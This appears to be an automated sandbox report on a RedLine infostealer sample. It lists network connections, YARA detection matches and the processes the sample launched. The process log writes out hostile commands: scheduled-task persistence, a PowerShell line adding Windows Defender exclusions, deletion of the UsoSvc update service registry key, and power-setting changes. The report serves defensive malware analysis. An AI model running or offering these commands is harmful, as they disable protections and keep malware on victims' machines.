Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155
Source: unknown	TCP traffic detected without corresponding DNS query: 45.15.156.155

Source: unknown

HTTP traffic detected: POST /api/proxy/nodes/get HTTP/1.1Content-Type: application/jsonUser-Agent: Microsoft Internet ExplorerHost: api.peer2profit.comContent-Length: 186Cache-Control: no-cache

Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50016 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 21.0.ofg.exe.f70000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.2.softwareinstaller.exe.d377a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.softwareinstaller.exe.d30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.0.ofg.exe.f70000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 26.2.ofg.exe.f70000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 21.2.ofg.exe.f70000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.3.softwareinstaller.exe.d70000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: C:\Users\user\AppData\Local\Google\ofg.exe, type: DROPPED	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen

PE file contains section with special chars

Source: conhost.exe.2.dr	Static PE information: section name: .vmp-.!0
Source: conhost.exe.2.dr	Static PE information: section name: .vmp-.!1
Source: conhost.exe.2.dr	Static PE information: section name: .vmp-.!2
Source: conhost.exe.2.dr	Static PE information: section name: .vmp-.!3

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\softwareinstaller.exe	Code function: 0_2_00D33F28	0_2_00D33F28
Source: C:\Users\user\Desktop\softwareinstaller.exe	Code function: 0_2_00D3E9BB	0_2_00D3E9BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_04BD08F8	2_2_04BD08F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A02FB08	2_2_0A02FB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A027EE0	2_2_0A027EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A02F180	2_2_0A02F180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A02A260	2_2_0A02A260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A02A270	2_2_0A02A270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0A090040	2_2_0A090040
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 13_2_00007FF755E81770	13_2_00007FF755E81770
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 13_2_00007FF755E83170	13_2_00007FF755E83170
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 13_2_00007FF755E86EE0	13_2_00007FF755E86EE0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 13_2_00007FF755E829D0	13_2_00007FF755E829D0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 13_2_00007FF755EA2510	13_2_00007FF755EA2510

Source: C:\Users\user\Desktop\softwareinstaller.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: sfc.dll

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f

Source: updater.exe.13.dr	Static PE information: Number of sections : 11 > 10
Source: softwareinstaller.exe	Static PE information: Number of sections : 15 > 10
Source: conhost.exe.2.dr	Static PE information: Number of sections : 11 > 10
Source: brave.exe.2.dr	Static PE information: Number of sections : 11 > 10

Source: Joe Sandbox View

Dropped File: C:\Program Files\Google\Chrome\updater.exe 9C01D90543458567C4737731EE6754CC209E4BB78FF648EB75C4D23BE261EF2F

Source: softwareinstaller.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: 21.0.ofg.exe.f70000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 0.2.softwareinstaller.exe.d377a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.softwareinstaller.exe.d30000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.0.ofg.exe.f70000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 48.0.GoogleUpdate.exe.1100000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 24.2.chrome.exe.601fa0.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 26.2.ofg.exe.f70000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 21.2.ofg.exe.f70000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 0.3.softwareinstaller.exe.d70000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: C:\Users\user\AppData\Local\Google\ofg.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object

Source: C:\Users\user\AppData\Local\Google\chrome.exe

File created: C:\Windows\GoogleUpdate.exe

Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: String function: 00007FF755EB2490 appears 59 times
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: String function: 00007FF755EB1250 appears 107 times

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 13_2_00007FF755E84C80 NtSetContextThread,

13_2_00007FF755E84C80

Source: svchost.exe.2.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 66BC.tmp.13.dr	Static PE information: Resource name: EXE type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: softwareinstaller.exe	Binary or memory string: OriginalFilename vs softwareinstaller.exe
Source: softwareinstaller.exe, 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSplint.exe4 vs softwareinstaller.exe
Source: softwareinstaller.exe, 00000000.00000003.240545572.0000000000D94000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSplint.exe4 vs softwareinstaller.exe

Source: softwareinstaller.exe

Static PE information: invalid certificate

Source: softwareinstaller.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@98/24@7/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 13_2_00007FF755E96EE0 GetLastError,FormatMessageA,IsDebuggerPresent,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,LocalFree,

13_2_00007FF755E96EE0

Source: C:\Users\user\AppData\Local\Google\brave.exe

File created: C:\Program Files\Google\Chrome\updater.exe

Jump to behavior

Source: softwareinstaller.exe

Virustotal: Detection: 40%

Source: C:\Users\user\Desktop\softwareinstaller.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\softwareinstaller.exe C:\Users\user\Desktop\softwareinstaller.exe
Source: C:\Users\user\Desktop\softwareinstaller.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\softwareinstaller.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
Source: unknown	Process created: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe C:\Users\user\AppData\Local\Microsoft\conchsvt.exe
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\user\AppData\Local\Microsoft\conchsvt.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
